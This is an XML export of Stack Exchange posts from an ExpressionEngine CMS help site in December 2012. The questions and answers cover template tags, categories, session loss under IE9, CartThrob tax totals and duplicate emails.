  <row Id="2023" PostTypeId="2" ParentId="2020" CreationDate="2012-12-21T15:15:29.363" Score="7" Body="&lt;p&gt;I know we talked about this on Twitter yesterday, but looking at &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/entry_tracking.html&quot;&gt;the EE docs&lt;/a&gt; again it says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Up to four different instances of the view counter can be used (each&#xA;  on a different page), enabling you to track different aspects of an&#xA;  entry independently&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Which isn't immediately clear (at least in a pre-coffee state). So I did a quick test on my local site, implemented a view_count variable, and looked at the query to see where the data was getting stored.  Turns out the view counts are stored in the exp_channel_titles table where there are 4 columns for tracking views.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my answer is neither four instances total, or four instances per channel, but rather 4 instances per entry.&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2012-12-21T15:15:29.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2024" PostTypeId="2" ParentId="2022" CreationDate="2012-12-21T15:19:18.370" Score="4" Body="&lt;p&gt;You could nest another conditional:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if total_results &amp;lt; 3}&#xA;  {if count==total_results}&#xA;    {embed=&quot;includes/homepage-properties&quot;}&#xA;  {/if}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="651" LastActivityDate="2012-12-21T15:19:18.370" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2025" PostTypeId="1" CreationDate="2012-12-21T15:24:35.893" Score="2" ViewCount="3060" Body="&lt;p&gt;Excuse my template tagging if is looks confusing. I am fairly new to ExpressionEngine and using categories is my latest adventure. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On this following page &lt;a href=&quot;http://bodyworksforme.com/?/blog/full-post/sport-feature&quot; rel=&quot;nofollow&quot;&gt;Click here&lt;/a&gt; under the &quot;more sport&quot; section of this page I want to display a max of 4 of the most recent post within it's category, I need to do the same for the other five category. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have made attempts to this section but it seems to duplicate the same entry post 4 times rather than four different post within the category. This is also happening on my blog roll page &lt;a href=&quot;http://bodyworksforme.com/?/blog/blog-roll/category/wellness&quot; rel=&quot;nofollow&quot;&gt;Click here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can someone guide me in the right direction?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      &amp;lt;ul class=&quot;post&quot;&amp;gt;&#xA;   {exp:channel:entries dynamic=&quot;yes&quot; sort=&quot;asc&quot; status=&quot;open&quot; limit=&quot;4&quot;}&#xA;&#xA;        {categories}&#xA;        &amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&quot;{url_title_path='blog/full-post'}&quot;&amp;gt;&#xA;        &amp;lt;a href=&quot;{path='blog/blog-roll'}&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;featured-tab {url_title}&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;        &amp;lt;/a&amp;gt;&#xA;            &amp;lt;a href=&quot;{url_title_path='blog/full-post'}&quot;&amp;gt;&amp;lt;img src=&quot;{blog_slide_image}&quot; alt=&quot;placeholder&quot; class=&quot;feature-preview-img&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;                &amp;lt;p&amp;gt;{exp:eehive_hacksaw chars=&quot;250&quot; append=&quot;...&quot;}{feature_copy}{/exp:eehive_hacksaw}&amp;lt;/p&amp;gt;&#xA;&amp;lt;/li&amp;gt;&#xA;    {/categories}&#xA;&#xA;    {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code for blog roll&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul class=&quot;results-row&quot;&amp;gt;&#xA;{exp:channel:entries channel=&quot;blog&quot; disable=&quot;member_data|trackbacks&quot; dynamic=&quot;yes&quot;}&#xA;{exp:channel:categories channel=&quot;blog&quot; style=&quot;linear&quot; show_empty=&quot;no&quot; }&#xA;        &amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&quot;{url_title_path='blog/full-post'}&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;featured-tab {url_title}&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;            &amp;lt;img src=&quot;{blog_slide_image}&quot; alt=&quot;placeholder&quot; class=&quot;feature-preview-img&quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;            &amp;lt;h2&amp;gt;{title}&amp;lt;/h2&amp;gt;&#xA;            &amp;lt;p&amp;gt;{exp:eehive_hacksaw chars=&quot;150&quot; append=&quot;...&quot;}{feature_copy}{/exp:eehive_hacksaw}&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/li&amp;gt;&#xA;        {/exp:channel:categories}&#xA;        {/exp:channel:entries}&#xA;        &amp;lt;/ul&amp;gt;&amp;lt;!-- RESULTS-ROW ENDS HERE--&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="459" LastEditorUserId="28" LastEditDate="2012-12-22T05:47:50.353" LastActivityDate="2012-12-22T06:07:18.093" Title="Displaying entries from category groups" Tags="|templates|categories|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2026" PostTypeId="2" ParentId="1981" CreationDate="2012-12-21T15:36:47.900" Score="7" Body="&lt;p&gt;More often than not I usually put Stash on the outside of a channel entries tag, which should get around your issue, eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set parse_tags=&quot;yes&quot;}&#xA;    {exp:channel:entries limit=&quot;1&quot;}&#xA;       {stash:title}{title}{/stash:title}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set}&#xA;&#xA;{!--Now you can access like this in an embedded template or later in the parse order of the same template:--}&#xA;Result: {exp:stash:get name=&quot;title&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="182" LastActivityDate="2012-12-21T15:36:47.900" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2027" PostTypeId="2" ParentId="2025" CreationDate="2012-12-21T15:39:27.130" Score="5" Body="&lt;p&gt;Good morning!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's step back for a moment. First, if you are new to EE and especially categories then I'd recommend reading through &lt;a href=&quot;http://www.train-ee.com/courseware/free-tutorials/comments/working-with-categories&quot;&gt;this tutorial I wrote a while back.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I think you are trying too hard, and shouldn't need to nest entries tags into category tags like that - it not only shouldn't be necessary but can be a performance drain as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the first question if you are looking to display other entries in the same category as the entry being displayed then look at the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#related-categories-mode&quot;&gt;related categories mode parameter&lt;/a&gt; for the channel entries tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If instead it's just a category page showing the most recent 4 entries in a category (and isn't showing an entire single entry) then all you'll need is the template loaded at a category URL with the channel:entries tag and a limit parameter set to 4 (and the tutorial I linked to above would demonstrate this).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure what you mean by &quot;tagging&quot; - in EE-land tags are different from categories and require a 3rd party add-on to implement.&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2012-12-21T15:39:27.130" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2028" PostTypeId="1" AcceptedAnswerId="9943" CreationDate="2012-12-21T16:12:19.827" Score="3" ViewCount="1160" Body="&lt;p&gt;I have a customer who is losing their session. They are on Windows 7 and using Internet Explorer 9. I think I've widdled it down the user agent changing when compatibility mode or chrome frame kicks in, but I wanted to see if anyone else had an opinion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it does in fact have to do with a user-agent mismatch, is there a way, and would it even be acceptable to disable user-agent matching on sessions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your help!&lt;/p&gt;&#xA;" OwnerUserId="659" LastActivityDate="2021-01-04T12:09:12.067" Title="Sessions getting killed by IE9 (user-agent mismatch?)" Tags="|sessions|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2029" PostTypeId="2" ParentId="2028" CreationDate="2012-12-21T16:33:10.213" Score="5" Body="&lt;p&gt;This is a bit of a vague question but it appears that IE does send &lt;a href=&quot;https://web.archive.org/web/20151117144435/http://blogs.msdn.com/b/ie/archive/2010/03/23/introducing-ie9-s-user-agent-string.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;different UA strings&lt;/a&gt; when compatibility mode is enabled and EE (or rather CodeIgniter) does invalidate sessions by default if the user agent changes.&lt;/p&gt;&#xA;&lt;p&gt;I've never tried this but by the look of it you can change this behaviour by editing this setting in system/expressionengine/config/session.php:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$config['sess_match_useragent'] = TRUE;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;As for whether you &lt;em&gt;should&lt;/em&gt; change this, it seems unlikely that people are switching compatibility view on and off mid-session with any frequency, but if it's something that is regularly impacting an important user then maybe there is an argument for changing it, particularly if you've already done quite a bit of debugging and there's no simple way of stopping their UA from changing all the time. It does seem like a bit of an odd problem to have though - solving that would probably be preferential.&lt;/p&gt;&#xA;" OwnerUserId="77" LastEditorUserId="7705" LastEditDate="2021-01-04T12:09:12.067" LastActivityDate="2021-01-04T12:09:12.067" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="2030" PostTypeId="2" ParentId="1766" CreationDate="2012-12-21T16:34:55.583" Score="1" Body="&lt;p&gt;700ms for a single &lt;code&gt;{exp:channel:entries}&lt;/code&gt; is a bit much... it shouldn't take more than a few milliseconds. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What are your server specs and do they meet the minimal requirements? Joel Bradbury once did some research and according to him it didn't make much difference if you had 10, 100, or 10.000 entries... but if your server doesn't have enough power to parse some simple PHP functions this can slow down your site considerably.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;– Wouter&lt;/p&gt;&#xA;" OwnerUserId="76" LastActivityDate="2012-12-21T16:34:55.583" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2031" PostTypeId="1" AcceptedAnswerId="3578" CreationDate="2012-12-21T16:42:57.610" Score="4" ViewCount="330" Body="&lt;p&gt;I'm scratching my head with a Cart Throb problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a custom extension that handles tax, and it is returning the value of tax properly. But the tax is not being added to the total in the cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At this point I'm stuck and can't make any progress. Any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The extension file is available here:&#xA;&lt;a href=&quot;http://cartthrob.com/?ACT=50&amp;amp;fid=22&amp;amp;aid=1143_G3jmhXu4cmn1dcUnbMBL&amp;amp;board_id=1&quot; rel=&quot;nofollow&quot;&gt;download&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the returned tax value from the extension is correct, but it's not having any effect on the total.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The template code looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:cart_items_info}&#xA;&#xA;        {if first_row}&#xA;            &amp;lt;table class=&quot;ck-table&quot;&amp;gt;&#xA;            &amp;lt;tbody&amp;gt;&#xA;                &amp;lt;tr class=&quot;ck-header&quot;&amp;gt;&#xA;                    &amp;lt;th class=&quot;ck-header-id&quot;&amp;gt;ID&amp;lt;/th&amp;gt;&#xA;                    &amp;lt;th class=&quot;ck-header-product&quot;&amp;gt;Product&amp;lt;/th&amp;gt;&#xA;                    &amp;lt;th class=&quot;ck-header-price&quot;&amp;gt;Price&amp;lt;/th&amp;gt;&#xA;                    &amp;lt;th class=&quot;ck-header-quantity&quot;&amp;gt;Quantity&amp;lt;/th&amp;gt;&#xA;                    &amp;lt;th class=&quot;ck-header-cost&quot;&amp;gt;Cost&amp;lt;/th&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;        {/if}&#xA;&#xA;                &amp;lt;tr class=&quot;ck-product{if title == 'Cooler Case'} ck-cooler-case{/if}&quot;&amp;gt;&#xA;                    &amp;lt;td&amp;gt;{prd_id}&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td&amp;gt;{title}&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td&amp;gt;{item_price}&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td&amp;gt;{quantity}&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td&amp;gt;{item_subtotal}&amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;&#xA;        {if last_row}&#xA;                &amp;lt;tr class=&quot;ck-subtotal&quot;&amp;gt;&#xA;                    &amp;lt;td colspan=&quot;2&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td class=&quot;ck-subtotal-label&quot;&amp;gt;Subtotal:&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td class=&quot;ck-subtotal-cost&quot; colspan=&quot;2&quot;&amp;gt;{cart_subtotal}&amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;        {exp:cartthrob_order_discounts field=&quot;order_discounts&quot;}&#xA;        {if has_discounts}&#xA;        {discounts}&#xA;        {if discount_count == 1}&#xA;                &amp;lt;tr class=&quot;ck-discount-header&quot;&amp;gt;&#xA;                    &amp;lt;th colspan=&quot;2&quot;&amp;gt;&amp;lt;/th&amp;gt;&#xA;                    &amp;lt;th class=&quot;ck-discount-title&quot;&amp;gt;Discounts&amp;lt;/th&amp;gt;&#xA;                    &amp;lt;th class=&quot;ck-discount-amount&quot; colspan=&quot;2&quot;&amp;gt;Savings&amp;lt;/th&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;        {/if}&#xA;                &amp;lt;tr class=&quot;ck-discount&quot;&amp;gt;&#xA;                    &amp;lt;td colspan=&quot;2&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td class=&quot;ck-discount-title&quot;&amp;gt;{discount_title}&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td class=&quot;ck-discount-amount&quot; colspan=&quot;2&quot;&amp;gt;-{discount_amount}&amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;        {/discounts}&#xA;        {/if}&#xA;        {/exp:cartthrob_order_discounts}&#xA;                {!--&#xA;                &amp;lt;tr class=&quot;ck-discount&quot;&amp;gt;&#xA;                    &amp;lt;td colspan=&quot;2&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td class=&quot;ck-subtotal-label&quot;&amp;gt;Total Discounts:&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td class=&quot;ck-subtotal-cost&quot; colspan=&quot;2&quot;&amp;gt;-{cart_discount}&amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;                --}&#xA;                &amp;lt;tr class=&quot;ck-subtotal&quot;&amp;gt;&#xA;                    &amp;lt;td colspan=&quot;2&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td class=&quot;ck-subtotal-label&quot;&amp;gt;Shipping:&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td class=&quot;ck-subtotal-cost&quot; colspan=&quot;2&quot;&amp;gt;{cart_shipping}&amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;                &amp;lt;tr class=&quot;ck-subtotal&quot;&amp;gt;&#xA;                    &amp;lt;td colspan=&quot;2&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td class=&quot;ck-subtotal-label&quot;&amp;gt;Tax:&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td class=&quot;ck-subtotal-cost&quot; colspan=&quot;2&quot;&amp;gt;{cart_tax}&amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;                &amp;lt;tr class=&quot;ck-total&quot;&amp;gt;&#xA;                    &amp;lt;td colspan=&quot;2&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td class=&quot;ck-total-label&quot;&amp;gt;Total:&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td class=&quot;ck-total-cost&quot; colspan=&quot;2&quot;&amp;gt;{cart_total}&amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;                &amp;lt;tr class=&quot;ck-buttons&quot;&amp;gt;&#xA;                    &amp;lt;td colspan=&quot;3&quot;&amp;gt;&amp;lt;/td&amp;gt;&#xA;                    &amp;lt;td colspan=&quot;2&quot;&amp;gt;&#xA;                        &amp;lt;a href=&quot;/checkout/payment/&quot; class=&quot;btn-sprite&quot; id=&quot;btn-continue&quot;&amp;gt;Continue&amp;lt;/a&amp;gt;&#xA;                    &amp;lt;/td&amp;gt;&#xA;                &amp;lt;/tr&amp;gt;&#xA;            &amp;lt;/tbody&amp;gt;&#xA;            &amp;lt;/table&amp;gt;&#xA;        {/if}&#xA;&#xA;        {if no_results}&#xA;            &amp;lt;p&amp;gt;There is nothing in your cart.&amp;lt;/p&amp;gt;&#xA;        {/if}&#xA;&#xA;    {/exp:cartthrob:cart_items_info}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and here is the add to cart form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:cartthrob:add_to_cart_form return=&quot;cart&quot;}&#xA;&#xA;    {!-- Required Hidden Fields --}&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;entry_id&quot; value=&quot;{entry_id}&quot; /&amp;gt;&#xA;    {!-- Used by AJAX add to cart --}&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;ajax_product_title&quot; value=&quot;{title}&quot; /&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;ajax_image_url&quot; value=&quot;{product_detail_image}&quot; /&amp;gt;&#xA;&#xA;    &amp;lt;table&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;th class=&quot;pl-add-to-cart-quantity&quot;&amp;gt;Qnty.&amp;lt;/th&amp;gt;&#xA;            &amp;lt;th class=&quot;pl-add-to-cart-recipient&quot;&amp;gt;Send to&amp;lt;/th&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;        &amp;lt;tr&amp;gt;&#xA;            &amp;lt;td&amp;gt;&#xA;                &amp;lt;select name=&quot;quantity&quot;&amp;gt;&#xA;                    &amp;lt;option value=&quot;1&quot;&amp;gt;1&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;2&quot;&amp;gt;2&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;3&quot;&amp;gt;3&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;4&quot;&amp;gt;4&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;5&quot;&amp;gt;5&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;6&quot;&amp;gt;6&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;7&quot;&amp;gt;7&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;8&quot;&amp;gt;8&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;9&quot;&amp;gt;9&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;10&quot;&amp;gt;10&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;11&quot;&amp;gt;11&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;12&quot;&amp;gt;12&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;13&quot;&amp;gt;13&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;14&quot;&amp;gt;14&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;15&quot;&amp;gt;15&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;16&quot;&amp;gt;16&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;17&quot;&amp;gt;17&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;18&quot;&amp;gt;18&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;19&quot;&amp;gt;19&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;20&quot;&amp;gt;20&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;21&quot;&amp;gt;21&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;22&quot;&amp;gt;22&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;23&quot;&amp;gt;23&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;24&quot;&amp;gt;24&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;25&quot;&amp;gt;25&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;26&quot;&amp;gt;26&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;27&quot;&amp;gt;27&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;28&quot;&amp;gt;28&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;29&quot;&amp;gt;29&amp;lt;/option&amp;gt;&#xA;                    &amp;lt;option value=&quot;30&quot;&amp;gt;30&amp;lt;/option&amp;gt;&#xA;                &amp;lt;/select&amp;gt;&#xA;            &amp;lt;/td&amp;gt;&#xA;            &amp;lt;td&amp;gt;&#xA;                {!--&#xA;                    @NOTE: this outputs a select menu to assign the product to a recipient using item_options[address_id]&#xA;                --}&#xA;                {exp:cartthrob_multi_shipto:address_select new_recipient=&quot;yes&quot; class=&quot;recipient-selector&quot;}&#xA;            &amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/table&amp;gt;&#xA;&#xA;    &amp;lt;a class=&quot;submit-image-replace sprite-add-to-cart ajax-add-to-cart&quot; href=&quot;/cart/&quot;&amp;gt;Add to Cart&amp;lt;/a&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; class=&quot;hide&quot; value=&quot;Add to Cart&quot; /&amp;gt;&#xA;&#xA;{/exp:cartthrob:add_to_cart_form}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="336" LastEditorUserId="336" LastEditDate="2012-12-22T17:57:47.930" LastActivityDate="2013-10-08T05:29:35.950" Title="Tax issue with Cart Throb" Tags="|cartthrob|extension|" AnswerCount="1" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="2032" PostTypeId="2" ParentId="2028" CreationDate="2012-12-21T16:58:46.757" Score="2" Body="&lt;p&gt;In additional to Dom Stubbs suggestion if you change to using Cookies only does that help?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;go to: Admin &gt; Security &amp;amp; Privacy &gt; Security &amp;amp; Session Preferences and then change the User Session Type.&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2012-12-21T16:58:46.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2033" PostTypeId="1" AcceptedAnswerId="2034" CreationDate="2012-12-21T18:25:54.747" Score="2" ViewCount="81" Body="&lt;p&gt;I have run into the strangest &quot;bug&quot; with EE. I was running 2.5.2 and kept having any text input fields default to 12 characters instead of the normal 128. So I bit the bullet and upgraded to 2.5.5, hoping that would solve the problem. No luck. I just created a new text field, set the default character limit to 128, saved it and when I went back in it had gone back to 12 characters. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a solution for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2012-12-21T18:38:27.637" Title="Why is the text input field limited to 12 characters?" Tags="|fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2034" PostTypeId="2" ParentId="2033" CreationDate="2012-12-21T18:38:27.637" Score="3" Body="&lt;p&gt;I believe this was an issue with CartThrob. Do you have CartThrob installed. I recall troubleshooting the issue with someone on Twitter, @JasonTurcotte. It was a conflict with CartThrob, but I'm not certain if an official fix was released.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've &lt;a href=&quot;https://twitter.com/JasonTurcotte/status/277105603581706240&quot; rel=&quot;nofollow&quot;&gt;linked to the conversation&lt;/a&gt;, so that you can contact Jason or CartThrob if you like. If CartThrob isn't installed, it's possibly a different conflict. &lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2012-12-21T18:38:27.637" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2035" PostTypeId="1" AcceptedAnswerId="2398" CreationDate="2012-12-21T18:47:38.527" Score="6" ViewCount="155" Body="&lt;p&gt;I have a basic template that I plan on running on a cron job. I have stripped out the unnecessary parts, but the template still sends duplicate emails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;    $this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('email');&#xA;    $this-&amp;gt;EE-&amp;gt;load-&amp;gt;helper('text');&#xA;&#xA;    $this-&amp;gt;EE-&amp;gt;email-&amp;gt;wordwrap = true;&#xA;    $this-&amp;gt;EE-&amp;gt;email-&amp;gt;mailtype = 'text';&#xA;&#xA;    $this-&amp;gt;EE-&amp;gt;email-&amp;gt;from($from);&#xA;    $this-&amp;gt;EE-&amp;gt;email-&amp;gt;to($recipient);&#xA;    $this-&amp;gt;EE-&amp;gt;email-&amp;gt;subject($email_subject);&#xA;    $this-&amp;gt;EE-&amp;gt;email-&amp;gt;message(entities_to_ascii($email_msg));&#xA;    $this-&amp;gt;EE-&amp;gt;email-&amp;gt;Send();&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong? It sends me two emails.&lt;/p&gt;&#xA;" OwnerUserId="646" LastActivityDate="2013-01-07T15:38:34.840" Title="EE sends duplicate email" Tags="|email|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2036" PostTypeId="1" AcceptedAnswerId="2079" CreationDate="2012-12-21T18:58:06.987" Score="4" ViewCount="242" Body="&lt;p&gt;I'm assisting a colleague and for the life of me I can't understand what's happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SCENARIO&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-Multi-site (full site and mobile version)&#xA;-Attempting to share &quot;company information&quot; social icons from the Full website to the Mobile site.&#xA;-Using Matrix 2.4.3 and EE 2.5.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CODE&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:entries channel=&quot;company_info&quot; limit=&quot;1&quot; disable=&quot;categories|member_data|pagination&quot; entry_id=&quot;2&quot; site=&quot;default_site&quot;}&#xA;{company_social_media}{image}&amp;lt;a href=&quot;{url}&quot; rel=&quot;publisher&quot; target=&quot;_blank&quot;&amp;gt;&amp;lt;img src=&quot;{site_url}{image}&quot; alt=&quot;{alt}&quot;/&amp;gt;&amp;lt;/a&amp;gt;{/company_social_media}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;WHAT IS WORKING&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are getting the {ALT} and the {URL} but NOT the image. We were using &quot;ed_img_sizer&quot; and stripped that code out to just hold the {image} (as shown above) to no avail.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;#&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if this is a known bug or would a simple upgrade fix these issues? Doesn't make any sense why we would get the URL and ALT but not the IMAGE source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help...&lt;/p&gt;&#xA;" OwnerUserId="11" LastActivityDate="2012-12-24T12:29:44.700" Title="Multi-Site Manager / Matrix / Image not appearing" Tags="|matrix|multi-site-manager|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="2037" PostTypeId="1" CreationDate="2012-12-21T19:12:25.120" Score="3" ViewCount="72" Body="&lt;p&gt;I'm trying to install the Freeform Pro Text field type. Its not installed but is showing a lock icon. I don't know how to install the filed type. Any thoughts.&lt;/p&gt;&#xA;" OwnerUserId="311" LastActivityDate="2012-12-21T22:45:11.370" Title="Freeform Pro Text field type is not installed but is showing a lock icon" Tags="|ee2|solspace-freeform|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
